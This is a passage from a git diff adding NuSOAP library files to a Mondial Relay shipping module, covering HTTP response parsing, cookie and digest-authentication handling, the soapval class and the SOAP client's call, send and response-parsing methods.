strlen($data)); + $this->debug("read before timeout:\n" . $data); + $this->setError('socket read of chunk length timed out'); + return false; + } + $content_length = hexdec(trim($tmp)); + $this->debug("chunk length $content_length"); + } + $strlen = 0; + while (($strlen < $content_length) && (!feof($this->fp))) { + $readlen = min(8192, $content_length - $strlen); + $tmp = fread($this->fp, $readlen); + $tmplen = strlen($tmp); + $this->debug("read buffer of $tmplen bytes"); + if (($tmplen == 0) && (!feof($this->fp))) { + $this->incoming_payload = $data; + $this->debug('socket read of body timed out after length ' . strlen($data)); + $this->debug("read before timeout:\n" . $data); + $this->setError('socket read of body timed out'); + return false; + } + $strlen += $tmplen; + $data .= $tmp; + } + if ($chunked && ($content_length > 0)) { + $tmp = fgets($this->fp, 256); + $tmplen = strlen($tmp); + $this->debug("read chunk terminator of $tmplen bytes"); + if ($tmplen == 0) { + $this->incoming_payload = $data; + $this->debug('socket read of chunk terminator timed out after length ' . strlen($data)); + $this->debug("read before timeout:\n" . $data); + $this->setError('socket read of chunk terminator timed out'); + return false; + } + } + } while ($chunked && ($content_length > 0) && (!feof($this->fp))); + if (feof($this->fp)) { + $this->debug('read to EOF'); + } + $this->debug('read body of length ' . strlen($data)); + $this->incoming_payload .= $data; + $this->debug('received a total of '.strlen($this->incoming_payload).' bytes of data from server'); + + // close filepointer + if( + (isset($this->incoming_headers['connection']) && strtolower($this->incoming_headers['connection']) == 'close') || + (! $this->persistentConnection) || feof($this->fp)){ + fclose($this->fp); + $this->fp = false; + $this->debug('closed socket'); + } + + // connection was closed unexpectedly + if($this->incoming_payload == ''){ + $this->setError('no response from server'); + return false; + } + + // decode transfer-encoding +// if(isset($this->incoming_headers['transfer-encoding']) && strtolower($this->incoming_headers['transfer-encoding']) == 'chunked'){ +// if(!$data = $this->decodeChunked($data, $lb)){ +// $this->setError('Decoding of chunked data failed'); +// return false; +// } + //print "
        \nde-chunked:\n---------------\n$data\n\n---------------\n
        "; + // set decoded payload +// $this->incoming_payload = $header_data.$lb.$lb.$data; +// } + + } else if ($this->io_method() == 'curl') { + // send and receive + $this->debug('send and receive with cURL'); + $this->incoming_payload = curl_exec($this->ch); + $data = $this->incoming_payload; + + $cErr = curl_error($this->ch); + if ($cErr != '') { + $err = 'cURL ERROR: '.curl_errno($this->ch).': '.$cErr.'
        '; + // TODO: there is a PHP bug that can cause this to SEGV for CURLINFO_CONTENT_TYPE + foreach(curl_getinfo($this->ch) as $k => $v){ + $err .= "$k: $v
        "; + } + $this->debug($err); + $this->setError($err); + curl_close($this->ch); + return false; + } else { + //echo '
        ';
        +			//var_dump(curl_getinfo($this->ch));
        +			//echo '
        '; + } + // close curl + $this->debug('No cURL error, closing cURL'); + curl_close($this->ch); + + // try removing skippable headers + $savedata = $data; + while ($this->isSkippableCurlHeader($data)) { + $this->debug("Found HTTP header to skip"); + if ($pos = strpos($data,"\r\n\r\n")) { + $data = ltrim(substr($data,$pos)); + } elseif($pos = strpos($data,"\n\n") ) { + $data = ltrim(substr($data,$pos)); + } + } + + if ($data == '') { + // have nothing left; just remove 100 header(s) + $data = $savedata; + while (preg_match('/^HTTP\/1.1 100/',$data)) { + if ($pos = strpos($data,"\r\n\r\n")) { + $data = ltrim(substr($data,$pos)); + } elseif($pos = strpos($data,"\n\n") ) { + $data = ltrim(substr($data,$pos)); + } + } + } + + // separate content from HTTP headers + if ($pos = strpos($data,"\r\n\r\n")) { + $lb = "\r\n"; + } elseif( $pos = strpos($data,"\n\n")) { + $lb = "\n"; + } else { + $this->debug('no proper separation of headers and document'); + $this->setError('no proper separation of headers and document'); + return false; + } + $header_data = trim(substr($data,0,$pos)); + $header_array = explode($lb,$header_data); + $data = ltrim(substr($data,$pos)); + $this->debug('found proper separation of headers and document'); + $this->debug('cleaned data, stringlen: '.strlen($data)); + // clean headers + foreach ($header_array as $header_line) { + $arr = explode(':',$header_line,2); + if(count($arr) > 1){ + $header_name = strtolower(trim($arr[0])); + $this->incoming_headers[$header_name] = trim($arr[1]); + if ($header_name == 'set-cookie') { + // TODO: allow multiple cookies from parseCookie + $cookie = $this->parseCookie(trim($arr[1])); + if ($cookie) { + $this->incoming_cookies[] = $cookie; + $this->debug('found cookie: ' . $cookie['name'] . ' = ' . $cookie['value']); + } else { + $this->debug('did not find cookie in ' . trim($arr[1])); + } + } + } else if (isset($header_name)) { + // append continuation line to previous header + $this->incoming_headers[$header_name] .= $lb . ' ' . $header_line; + } + } + } + + $this->response_status_line = $header_array[0]; + $arr = explode(' ', $this->response_status_line, 3); + $http_version = $arr[0]; + $http_status = (int)($arr[1]); + $http_reason = count($arr) > 2 ? $arr[2] : ''; + + // see if we need to resend the request with http digest authentication + if (isset($this->incoming_headers['location']) && ($http_status == 301 || $http_status == 302)) { + $this->debug("Got $http_status $http_reason with Location: " . $this->incoming_headers['location']); + $this->setURL($this->incoming_headers['location']); + $this->tryagain = true; + return false; + } + + // see if we need to resend the request with http digest authentication + if (isset($this->incoming_headers['www-authenticate']) && $http_status == 401) { + $this->debug("Got 401 $http_reason with WWW-Authenticate: " . $this->incoming_headers['www-authenticate']); + if (strstr($this->incoming_headers['www-authenticate'], "Digest ")) { + $this->debug('Server wants digest authentication'); + // remove "Digest " from our elements + $digestString = str_replace('Digest ', '', $this->incoming_headers['www-authenticate']); + + // parse elements into array + $digestElements = explode(',', $digestString); + foreach ($digestElements as $val) { + $tempElement = explode('=', trim($val), 2); + $digestRequest[$tempElement[0]] = str_replace("\"", '', $tempElement[1]); + } + + // should have (at least) qop, realm, nonce + if (isset($digestRequest['nonce'])) { + $this->setCredentials($this->username, $this->password, 'digest', $digestRequest); + $this->tryagain = true; + return false; + } + } + $this->debug('HTTP authentication failed'); + $this->setError('HTTP authentication failed'); + return false; + } + + if ( + ($http_status >= 300 && $http_status <= 307) || + ($http_status >= 400 && $http_status <= 417) || + ($http_status >= 501 && $http_status <= 505) + ) { + $this->setError("Unsupported HTTP response status $http_status $http_reason (soapclient->response has contents of the response)"); + return false; + } + + // decode content-encoding + if(isset($this->incoming_headers['content-encoding']) && $this->incoming_headers['content-encoding'] != ''){ + if(strtolower($this->incoming_headers['content-encoding']) == 'deflate' || strtolower($this->incoming_headers['content-encoding']) == 'gzip'){ + // if decoding works, use it. else assume data wasn't gzencoded + if(function_exists('gzinflate')){ + //$timer->setMarker('starting decoding of gzip/deflated content'); + // IIS 5 requires gzinflate instead of gzuncompress (similar to IE 5 and gzdeflate v. gzcompress) + // this means there are no Zlib headers, although there should be + $this->debug('The gzinflate function exists'); + $datalen = strlen($data); + if ($this->incoming_headers['content-encoding'] == 'deflate') { + if ($degzdata = @gzinflate($data)) { + $data = $degzdata; + $this->debug('The payload has been inflated to ' . strlen($data) . ' bytes'); + if (strlen($data) < $datalen) { + // test for the case that the payload has been compressed twice + $this->debug('The inflated payload is smaller than the gzipped one; try again'); + if ($degzdata = @gzinflate($data)) { + $data = $degzdata; + $this->debug('The payload has been inflated again to ' . strlen($data) . ' bytes'); + } + } + } else { + $this->debug('Error using gzinflate to inflate the payload'); + $this->setError('Error using gzinflate to inflate the payload'); + } + } elseif ($this->incoming_headers['content-encoding'] == 'gzip') { + if ($degzdata = @gzinflate(substr($data, 10))) { // do our best + $data = $degzdata; + $this->debug('The payload has been un-gzipped to ' . strlen($data) . ' bytes'); + if (strlen($data) < $datalen) { + // test for the case that the payload has been compressed twice + $this->debug('The un-gzipped payload is smaller than the gzipped one; try again'); + if ($degzdata = @gzinflate(substr($data, 10))) { + $data = $degzdata; + $this->debug('The payload has been un-gzipped again to ' . strlen($data) . ' bytes'); + } + } + } else { + $this->debug('Error using gzinflate to un-gzip the payload'); + $this->setError('Error using gzinflate to un-gzip the payload'); + } + } + //$timer->setMarker('finished decoding of gzip/deflated content'); + //print "\nde-inflated:\n---------------\n$data\n-------------\n"; + // set decoded payload + $this->incoming_payload = $header_data.$lb.$lb.$data; + } else { + $this->debug('The server sent compressed data. Your php install must have the Zlib extension compiled in to support this.'); + $this->setError('The server sent compressed data. Your php install must have the Zlib extension compiled in to support this.'); + } + } else { + $this->debug('Unsupported Content-Encoding ' . $this->incoming_headers['content-encoding']); + $this->setError('Unsupported Content-Encoding ' . $this->incoming_headers['content-encoding']); + } + } else { + $this->debug('No Content-Encoding header'); + } + + if(strlen($data) == 0){ + $this->debug('no data after headers!'); + $this->setError('no data present after HTTP headers'); + return false; + } + + return $data; + } + + /** + * sets the content-type for the SOAP message to be sent + * + * @param string $type the content type, MIME style + * @param mixed $charset character set used for encoding (or false) + * @access public + */ + function setContentType($type, $charset = false) { + $this->setHeader('Content-Type', $type . ($charset ? '; charset=' . $charset : '')); + } + + /** + * specifies that an HTTP persistent connection should be used + * + * @return boolean whether the request was honored by this method. + * @access public + */ + function usePersistentConnection(){ + if (isset($this->outgoing_headers['Accept-Encoding'])) { + return false; + } + $this->protocol_version = '1.1'; + $this->persistentConnection = true; + $this->setHeader('Connection', 'Keep-Alive'); + return true; + } + + /** + * parse an incoming Cookie into it's parts + * + * @param string $cookie_str content of cookie + * @return array with data of that cookie + * @access private + */ + /* + * TODO: allow a Set-Cookie string to be parsed into multiple cookies + */ + function parseCookie($cookie_str) { + $cookie_str = str_replace('; ', ';', $cookie_str) . ';'; + $data = preg_split('/;/', $cookie_str); + $value_str = $data[0]; + + $cookie_param = 'domain='; + $start = strpos($cookie_str, $cookie_param); + if ($start > 0) { + $domain = substr($cookie_str, $start + strlen($cookie_param)); + $domain = substr($domain, 0, strpos($domain, ';')); + } else { + $domain = ''; + } + + $cookie_param = 'expires='; + $start = strpos($cookie_str, $cookie_param); + if ($start > 0) { + $expires = substr($cookie_str, $start + strlen($cookie_param)); + $expires = substr($expires, 0, strpos($expires, ';')); + } else { + $expires = ''; + } + + $cookie_param = 'path='; + $start = strpos($cookie_str, $cookie_param); + if ( $start > 0 ) { + $path = substr($cookie_str, $start + strlen($cookie_param)); + $path = substr($path, 0, strpos($path, ';')); + } else { + $path = '/'; + } + + $cookie_param = ';secure;'; + if (strpos($cookie_str, $cookie_param) !== FALSE) { + $secure = true; + } else { + $secure = false; + } + + $sep_pos = strpos($value_str, '='); + + if ($sep_pos) { + $name = substr($value_str, 0, $sep_pos); + $value = substr($value_str, $sep_pos + 1); + $cookie= array( 'name' => $name, + 'value' => $value, + 'domain' => $domain, + 'path' => $path, + 'expires' => $expires, + 'secure' => $secure + ); + return $cookie; + } + return false; + } + + /** + * sort out cookies for the current request + * + * @param array $cookies array with all cookies + * @param boolean $secure is the send-content secure or not? + * @return string for Cookie-HTTP-Header + * @access private + */ + function getCookiesForRequest($cookies, $secure=false) { + $cookie_str = ''; + if ((! is_null($cookies)) && (is_array($cookies))) { + foreach ($cookies as $cookie) { + if (! is_array($cookie)) { + continue; + } + $this->debug("check cookie for validity: ".$cookie['name'].'='.$cookie['value']); + if ((isset($cookie['expires'])) && (! empty($cookie['expires']))) { + if (strtotime($cookie['expires']) <= time()) { + $this->debug('cookie has expired'); + continue; + } + } + if ((isset($cookie['domain'])) && (! empty($cookie['domain']))) { + $domain = preg_quote($cookie['domain']); + if (! preg_match("'.*$domain$'i", $this->host)) { + $this->debug('cookie has different domain'); + continue; + } + } + if ((isset($cookie['path'])) && (! empty($cookie['path']))) { + $path = preg_quote($cookie['path']); + if (! preg_match("'^$path.*'i", $this->path)) { + $this->debug('cookie is for a different path'); + continue; + } + } + if ((! $secure) && (isset($cookie['secure'])) && ($cookie['secure'])) { + $this->debug('cookie is secure, transport is not'); + continue; + } + $cookie_str .= $cookie['name'] . '=' . $cookie['value'] . '; '; + $this->debug('add cookie to Cookie-String: ' . $cookie['name'] . '=' . $cookie['value']); + } + } + return $cookie_str; + } +} + + diff --git a/modules/mondialrelay/lib/nusoap/class.soap_val.php b/modules/mondialrelay/lib/nusoap/class.soap_val.php new file mode 100755 index 0000000..545944e --- /dev/null +++ b/modules/mondialrelay/lib/nusoap/class.soap_val.php @@ -0,0 +1,106 @@ + +* @version $Id$ +* @access public +*/ +class soapval extends nusoap_base { + /** + * The XML element name + * + * @var string + * @access private + */ + var $name; + /** + * The XML type name (string or false) + * + * @var mixed + * @access private + */ + var $type; + /** + * The PHP value + * + * @var mixed + * @access private + */ + var $value; + /** + * The XML element namespace (string or false) + * + * @var mixed + * @access private + */ + var $element_ns; + /** + * The XML type namespace (string or false) + * + * @var mixed + * @access private + */ + var $type_ns; + /** + * The XML element attributes (array or false) + * + * @var mixed + * @access private + */ + var $attributes; + + /** + * constructor + * + * @param string $name optional name + * @param mixed $type optional type name + * @param mixed $value optional value + * @param mixed $element_ns optional namespace of value + * @param mixed $type_ns optional namespace of type + * @param mixed $attributes associative array of attributes to add to element serialization + * @access public + */ + function soapval($name='soapval',$type=false,$value=-1,$element_ns=false,$type_ns=false,$attributes=false) { + parent::nusoap_base(); + $this->name = $name; + $this->type = $type; + $this->value = $value; + $this->element_ns = $element_ns; + $this->type_ns = $type_ns; + $this->attributes = $attributes; + } + + /** + * return serialized value + * + * @param string $use The WSDL use value (encoded|literal) + * @return string XML data + * @access public + */ + function serialize($use='encoded') { + return $this->serialize_val($this->value, $this->name, $this->type, $this->element_ns, $this->type_ns, $this->attributes, $use, true); + } + + /** + * decodes a soapval object into a PHP native type + * + * @return mixed + * @access public + */ + function decode(){ + return $this->value; + } +} + + + + diff --git a/modules/mondialrelay/lib/nusoap/class.soapclient.php b/modules/mondialrelay/lib/nusoap/class.soapclient.php new file mode 100755 index 0000000..b06878f --- /dev/null +++ b/modules/mondialrelay/lib/nusoap/class.soapclient.php @@ -0,0 +1,991 @@ +call( string methodname [ ,array parameters] ); +* +* // bye bye client +* unset($soapclient); +* +* @author Dietrich Ayala +* @author Scott Nichol +* @version $Id$ +* @access public +*/ +class nusoap_client extends nusoap_base { + + var $username = ''; // Username for HTTP authentication + var $password = ''; // Password for HTTP authentication + var $authtype = ''; // Type of HTTP authentication + var $certRequest = array(); // Certificate for HTTP SSL authentication + var $requestHeaders = false; // SOAP headers in request (text) + var $responseHeaders = ''; // SOAP headers from response (incomplete namespace resolution) (text) + var $responseHeader = NULL; // SOAP Header from response (parsed) + var $document = ''; // SOAP body response portion (incomplete namespace resolution) (text) + var $endpoint; + var $forceEndpoint = ''; // overrides WSDL endpoint + var $proxyhost = ''; + var $proxyport = ''; + var $proxyusername = ''; + var $proxypassword = ''; + var $portName = ''; // port name to use in WSDL + var $xml_encoding = ''; // character set encoding of incoming (response) messages + var $http_encoding = false; + var $timeout = 0; // HTTP connection timeout + var $response_timeout = 30; // HTTP response timeout + var $endpointType = ''; // soap|wsdl, empty for WSDL initialization error + var $persistentConnection = false; + var $defaultRpcParams = false; // This is no longer used + var $request = ''; // HTTP request + var $response = ''; // HTTP response + var $responseData = ''; // SOAP payload of response + var $cookies = array(); // Cookies from response or for request + var $decode_utf8 = true; // toggles whether the parser decodes element content w/ utf8_decode() + var $operations = array(); // WSDL operations, empty for WSDL initialization error + var $curl_options = array(); // User-specified cURL options + var $bindingType = ''; // WSDL operation binding type + var $use_curl = false; // whether to always try to use cURL + + /* + * fault related variables + */ + /** + * @var fault + * @access public + */ + var $fault; + /** + * @var faultcode + * @access public + */ + var $faultcode; + /** + * @var faultstring + * @access public + */ + var $faultstring; + /** + * @var faultdetail + * @access public + */ + var $faultdetail; + + /** + * constructor + * + * @param mixed $endpoint SOAP server or WSDL URL (string), or wsdl instance (object) + * @param mixed $wsdl optional, set to 'wsdl' or true if using WSDL + * @param string $proxyhost optional + * @param string $proxyport optional + * @param string $proxyusername optional + * @param string $proxypassword optional + * @param integer $timeout set the connection timeout + * @param integer $response_timeout set the response timeout + * @param string $portName optional portName in WSDL document + * @access public + */ + function nusoap_client($endpoint,$wsdl = false,$proxyhost = false,$proxyport = false,$proxyusername = false, $proxypassword = false, $timeout = 0, $response_timeout = 30, $portName = ''){ + parent::nusoap_base(); + $this->endpoint = $endpoint; + $this->proxyhost = $proxyhost; + $this->proxyport = $proxyport; + $this->proxyusername = $proxyusername; + $this->proxypassword = $proxypassword; + $this->timeout = $timeout; + $this->response_timeout = $response_timeout; + $this->portName = $portName; + + $this->debug("ctor wsdl=$wsdl timeout=$timeout response_timeout=$response_timeout"); + $this->appendDebug('endpoint=' . $this->varDump($endpoint)); + + // make values + if($wsdl){ + if (is_object($endpoint) && (get_class($endpoint) == 'wsdl')) { + $this->wsdl = $endpoint; + $this->endpoint = $this->wsdl->wsdl; + $this->wsdlFile = $this->endpoint; + $this->debug('existing wsdl instance created from ' . $this->endpoint); + $this->checkWSDL(); + } else { + $this->wsdlFile = $this->endpoint; + $this->wsdl = null; + $this->debug('will use lazy evaluation of wsdl from ' . $this->endpoint); + } + $this->endpointType = 'wsdl'; + } else { + $this->debug("instantiate SOAP with endpoint at $endpoint"); + $this->endpointType = 'soap'; + } + } + + /** + * calls method, returns PHP native type + * + * @param string $operation SOAP server URL or path + * @param mixed $params An array, associative or simple, of the parameters + * for the method call, or a string that is the XML + * for the call. For rpc style, this call will + * wrap the XML in a tag named after the method, as + * well as the SOAP Envelope and Body. For document + * style, this will only wrap with the Envelope and Body. + * IMPORTANT: when using an array with document style, + * in which case there + * is really one parameter, the root of the fragment + * used in the call, which encloses what programmers + * normally think of parameters. A parameter array + * *must* include the wrapper. + * @param string $namespace optional method namespace (WSDL can override) + * @param string $soapAction optional SOAPAction value (WSDL can override) + * @param mixed $headers optional string of XML with SOAP header content, or array of soapval objects for SOAP headers, or associative array + * @param boolean $rpcParams optional (no longer used) + * @param string $style optional (rpc|document) the style to use when serializing parameters (WSDL can override) + * @param string $use optional (encoded|literal) the use when serializing parameters (WSDL can override) + * @return mixed response from SOAP call, normally an associative array mirroring the structure of the XML response, false for certain fatal errors + * @access public + */ + function call($operation,$params=array(),$namespace='http://tempuri.org',$soapAction='',$headers=false,$rpcParams=null,$style='rpc',$use='encoded'){ + $this->operation = $operation; + $this->fault = false; + $this->setError(''); + $this->request = ''; + $this->response = ''; + $this->responseData = ''; + $this->faultstring = ''; + $this->faultcode = ''; + $this->opData = array(); + + $this->debug("call: operation=$operation, namespace=$namespace, soapAction=$soapAction, rpcParams=$rpcParams, style=$style, use=$use, endpointType=$this->endpointType"); + $this->appendDebug('params=' . $this->varDump($params)); + $this->appendDebug('headers=' . $this->varDump($headers)); + if ($headers) { + $this->requestHeaders = $headers; + } + if ($this->endpointType == 'wsdl' && is_null($this->wsdl)) { + $this->loadWSDL(); + if ($this->getError()) + return false; + } + // serialize parameters + if($this->endpointType == 'wsdl' && $opData = $this->getOperationData($operation)){ + // use WSDL for operation + $this->opData = $opData; + $this->debug("found operation"); + $this->appendDebug('opData=' . $this->varDump($opData)); + if (isset($opData['soapAction'])) { + $soapAction = $opData['soapAction']; + } + if (! $this->forceEndpoint) { + $this->endpoint = $opData['endpoint']; + } else { + $this->endpoint = $this->forceEndpoint; + } + $namespace = isset($opData['input']['namespace']) ? $opData['input']['namespace'] : $namespace; + $style = $opData['style']; + $use = $opData['input']['use']; + // add ns to ns array + if($namespace != '' && !isset($this->wsdl->namespaces[$namespace])){ + $nsPrefix = 'ns' . rand(1000, 9999); + $this->wsdl->namespaces[$nsPrefix] = $namespace; + } + $nsPrefix = $this->wsdl->getPrefixFromNamespace($namespace); + // serialize payload + if (is_string($params)) { + $this->debug("serializing param string for WSDL operation $operation"); + $payload = $params; + } elseif (is_array($params)) { + $this->debug("serializing param array for WSDL operation $operation"); + $payload = $this->wsdl->serializeRPCParameters($operation,'input',$params,$this->bindingType); + } else { + $this->debug('params must be array or string'); + $this->setError('params must be array or string'); + return false; + } + $usedNamespaces = $this->wsdl->usedNamespaces; + if (isset($opData['input']['encodingStyle'])) { + $encodingStyle = $opData['input']['encodingStyle']; + } else { + $encodingStyle = ''; + } + $this->appendDebug($this->wsdl->getDebug()); + $this->wsdl->clearDebug(); + if ($errstr = $this->wsdl->getError()) { + $this->debug('got wsdl error: '.$errstr); + $this->setError('wsdl error: '.$errstr); + return false; + } + } elseif($this->endpointType == 'wsdl') { + // operation not in WSDL + $this->appendDebug($this->wsdl->getDebug()); + $this->wsdl->clearDebug(); + $this->setError('operation '.$operation.' not present in WSDL.'); + $this->debug("operation '$operation' not present in WSDL."); + return false; + } else { + // no WSDL + //$this->namespaces['ns1'] = $namespace; + $nsPrefix = 'ns' . rand(1000, 9999); + // serialize + $payload = ''; + if (is_string($params)) { + $this->debug("serializing param string for operation $operation"); + $payload = $params; + } elseif (is_array($params)) { + $this->debug("serializing param array for operation $operation"); + foreach($params as $k => $v){ + $payload .= $this->serialize_val($v,$k,false,false,false,false,$use); + } + } else { + $this->debug('params must be array or string'); + $this->setError('params must be array or string'); + return false; + } + $usedNamespaces = array(); + if ($use == 'encoded') { + $encodingStyle = 'http://schemas.xmlsoap.org/soap/encoding/'; + } else { + $encodingStyle = ''; + } + } + // wrap RPC calls with method element + if ($style == 'rpc') { + if ($use == 'literal') { + $this->debug("wrapping RPC request with literal method element"); + if ($namespace) { + // http://www.ws-i.org/Profiles/BasicProfile-1.1-2004-08-24.html R2735 says rpc/literal accessor elements should not be in a namespace + $payload = "<$nsPrefix:$operation xmlns:$nsPrefix=\"$namespace\">" . + $payload . + ""; + } else { + $payload = "<$operation>" . $payload . ""; + } + } else { + $this->debug("wrapping RPC request with encoded method element"); + if ($namespace) { + $payload = "<$nsPrefix:$operation xmlns:$nsPrefix=\"$namespace\">" . + $payload . + ""; + } else { + $payload = "<$operation>" . + $payload . + ""; + } + } + } + // serialize envelope + $soapmsg = $this->serializeEnvelope($payload,$this->requestHeaders,$usedNamespaces,$style,$use,$encodingStyle); + $this->debug("endpoint=$this->endpoint, soapAction=$soapAction, namespace=$namespace, style=$style, use=$use, encodingStyle=$encodingStyle"); + $this->debug('SOAP message length=' . strlen($soapmsg) . ' contents (max 1000 bytes)=' . substr($soapmsg, 0, 1000)); + // send + $return = $this->send($this->getHTTPBody($soapmsg),$soapAction,$this->timeout,$this->response_timeout); + if($errstr = $this->getError()){ + $this->debug('Error: '.$errstr); + return false; + } else { + $this->return = $return; + $this->debug('sent message successfully and got a(n) '.gettype($return)); + $this->appendDebug('return=' . $this->varDump($return)); + + // fault? + if(is_array($return) && isset($return['faultcode'])){ + $this->debug('got fault'); + $this->setError($return['faultcode'].': '.$return['faultstring']); + $this->fault = true; + foreach($return as $k => $v){ + $this->$k = $v; + $this->debug("$k = $v
        "); + } + return $return; + } elseif ($style == 'document') { + // NOTE: if the response is defined to have multiple parts (i.e. unwrapped), + // we are only going to return the first part here...sorry about that + return $return; + } else { + // array of return values + if(is_array($return)){ + // multiple 'out' parameters, which we return wrapped up + // in the array + if(sizeof($return) > 1){ + return $return; + } + // single 'out' parameter (normally the return value) + $return = array_shift($return); + $this->debug('return shifted value: '); + $this->appendDebug($this->varDump($return)); + return $return; + // nothing returned (ie, echoVoid) + } else { + return ""; + } + } + } + } + + /** + * check WSDL passed as an instance or pulled from an endpoint + * + * @access private + */ + function checkWSDL() { + $this->appendDebug($this->wsdl->getDebug()); + $this->wsdl->clearDebug(); + $this->debug('checkWSDL'); + // catch errors + if ($errstr = $this->wsdl->getError()) { + $this->appendDebug($this->wsdl->getDebug()); + $this->wsdl->clearDebug(); + $this->debug('got wsdl error: '.$errstr); + $this->setError('wsdl error: '.$errstr); + } elseif ($this->operations = $this->wsdl->getOperations($this->portName, 'soap')) { + $this->appendDebug($this->wsdl->getDebug()); + $this->wsdl->clearDebug(); + $this->bindingType = 'soap'; + $this->debug('got '.count($this->operations).' operations from wsdl '.$this->wsdlFile.' for binding type '.$this->bindingType); + } elseif ($this->operations = $this->wsdl->getOperations($this->portName, 'soap12')) { + $this->appendDebug($this->wsdl->getDebug()); + $this->wsdl->clearDebug(); + $this->bindingType = 'soap12'; + $this->debug('got '.count($this->operations).' operations from wsdl '.$this->wsdlFile.' for binding type '.$this->bindingType); + $this->debug('**************** WARNING: SOAP 1.2 BINDING *****************'); + } else { + $this->appendDebug($this->wsdl->getDebug()); + $this->wsdl->clearDebug(); + $this->debug('getOperations returned false'); + $this->setError('no operations defined in the WSDL document!'); + } + } + + /** + * instantiate wsdl object and parse wsdl file + * + * @access public + */ + function loadWSDL() { + $this->debug('instantiating wsdl class with doc: '.$this->wsdlFile); + $this->wsdl = new wsdl('',$this->proxyhost,$this->proxyport,$this->proxyusername,$this->proxypassword,$this->timeout,$this->response_timeout,$this->curl_options,$this->use_curl); + $this->wsdl->setCredentials($this->username, $this->password, $this->authtype, $this->certRequest); + $this->wsdl->fetchWSDL($this->wsdlFile); + $this->checkWSDL(); + } + + /** + * get available data pertaining to an operation + * + * @param string $operation operation name + * @return array array of data pertaining to the operation + * @access public + */ + function getOperationData($operation){ + if ($this->endpointType == 'wsdl' && is_null($this->wsdl)) { + $this->loadWSDL(); + if ($this->getError()) + return false; + } + if(isset($this->operations[$operation])){ + return $this->operations[$operation]; + } + $this->debug("No data for operation: $operation"); + } + + /** + * send the SOAP message + * + * Note: if the operation has multiple return values + * the return value of this method will be an array + * of those values. + * + * @param string $msg a SOAPx4 soapmsg object + * @param string $soapaction SOAPAction value + * @param integer $timeout set connection timeout in seconds + * @param integer $response_timeout set response timeout in seconds + * @return mixed native PHP types. + * @access private + */ + function send($msg, $soapaction = '', $timeout=0, $response_timeout=30) { + $this->checkCookies(); + // detect transport + switch(true){ + // http(s) + case preg_match('/^http/',$this->endpoint): + $this->debug('transporting via HTTP'); + if($this->persistentConnection == true && is_object($this->persistentConnection)){ + $http =& $this->persistentConnection; + } else { + $http = new soap_transport_http($this->endpoint, $this->curl_options, $this->use_curl); + if ($this->persistentConnection) { + $http->usePersistentConnection(); + } + } + $http->setContentType($this->getHTTPContentType(), $this->getHTTPContentTypeCharset()); + $http->setSOAPAction($soapaction); + if($this->proxyhost && $this->proxyport){ + $http->setProxy($this->proxyhost,$this->proxyport,$this->proxyusername,$this->proxypassword); + } + if($this->authtype != '') { + $http->setCredentials($this->username, $this->password, $this->authtype, array(), $this->certRequest); + } + if($this->http_encoding != ''){ + $http->setEncoding($this->http_encoding); + } + $this->debug('sending message, length='.strlen($msg)); + if(preg_match('/^http:/',$this->endpoint)){ + //if(strpos($this->endpoint,'http:')){ + $this->responseData = $http->send($msg,$timeout,$response_timeout,$this->cookies); + } elseif(preg_match('/^https/',$this->endpoint)){ + //} elseif(strpos($this->endpoint,'https:')){ + //if(phpversion() == '4.3.0-dev'){ + //$response = $http->send($msg,$timeout,$response_timeout); + //$this->request = $http->outgoing_payload; + //$this->response = $http->incoming_payload; + //} else + $this->responseData = $http->sendHTTPS($msg,$timeout,$response_timeout,$this->cookies); + } else { + $this->setError('no http/s in endpoint url'); + } + $this->request = $http->outgoing_payload; + $this->response = $http->incoming_payload; + $this->appendDebug($http->getDebug()); + $this->UpdateCookies($http->incoming_cookies); + + // save transport object if using persistent connections + if ($this->persistentConnection) { + $http->clearDebug(); + if (!is_object($this->persistentConnection)) { + $this->persistentConnection = $http; + } + } + + if($err = $http->getError()){ + $this->setError('HTTP Error: '.$err); + return false; + } elseif($this->getError()){ + return false; + } else { + $this->debug('got response, length='. strlen($this->responseData).' type='.$http->incoming_headers['content-type']); + return $this->parseResponse($http->incoming_headers, $this->responseData); + } + break; + default: + $this->setError('no transport found, or selected transport is not yet supported!'); + return false; + break; + } + } + + /** + * processes SOAP message returned from server + * + * @param array $headers The HTTP headers + * @param string $data unprocessed response data from server + * @return mixed value of the message, decoded into a PHP type + * @access private + */ + function parseResponse($headers, $data) { + $this->debug('Entering parseResponse() for data of length ' . strlen($data) . ' headers:'); + $this->appendDebug($this->varDump($headers)); + if (!isset($headers['content-type'])) { + $this->setError('Response not of type text/xml (no content-type header)'); + return false; + } + if (!strstr($headers['content-type'], 'text/xml')) { + $this->setError('Response not of type text/xml: ' . $headers['content-type']); + return false; + } + if (strpos($headers['content-type'], '=')) { + $enc = str_replace('"', '', substr(strstr($headers["content-type"], '='), 1)); + $this->debug('Got response encoding: ' . $enc); + if(preg_match('/^(ISO-8859-1|US-ASCII|UTF-8)$/i',$enc)){ + $this->xml_encoding = strtoupper($enc); + } else { + $this->xml_encoding = 'US-ASCII'; + } + } else { + // should be US-ASCII for HTTP 1.0 or ISO-8859-1 for HTTP 1.1 + $this->xml_encoding = 'ISO-8859-1'; + } + $this->debug('Use encoding: ' . $this->xml_encoding . ' when creating nusoap_parser'); + $parser = new nusoap_parser($data,$this->xml_encoding,$this->operation,$this->decode_utf8); + // add parser debug data to our debug + $this->appendDebug($parser->getDebug()); + // if parse errors + if($errstr = $parser->getError()){ + $this->setError( $errstr); + // destroy the parser object + unset($parser); + return false; + } else { + // get SOAP headers + $this->responseHeaders = $parser->getHeaders(); + // get SOAP headers + $this->responseHeader = $parser->get_soapheader(); + // get decoded message + $return = $parser->get_soapbody(); + // add document for doclit support + $this->document = $parser->document; + // destroy the parser object + unset($parser); + // return decode message + return $return; + } + } + + /** + * sets user-specified cURL options + * + * @param mixed $option The cURL option (always integer?) + * @param mixed $value The cURL option value + * @access public + */ + function setCurlOption($option, $value) { + $this->debug("setCurlOption option=$option, value="); + $this->appendDebug($this->varDump($value)); + $this->curl_options[$option] = $value; + } + + /** + * sets the SOAP endpoint, which can override WSDL + * + * @param string $endpoint The endpoint URL to use, or empty string or false to prevent override + * @access public + */ + function setEndpoint($endpoint) { + $this->debug("setEndpoint(\"$endpoint\")"); + $this->forceEndpoint = $endpoint; + } + + /** + * set the SOAP headers + * + * @param mixed $headers String of XML with SOAP header content, or array of soapval objects for SOAP headers + * @access public + */ + function setHeaders($headers){ + $this->debug("setHeaders headers="); + $this->appendDebug($this->varDump($headers)); + $this->requestHeaders = $headers; + } + + /** + * get the SOAP response headers (namespace resolution incomplete) + * + * @return string + * @access public + */ + function getHeaders(){ + return $this->responseHeaders; + } + + /** + * get the 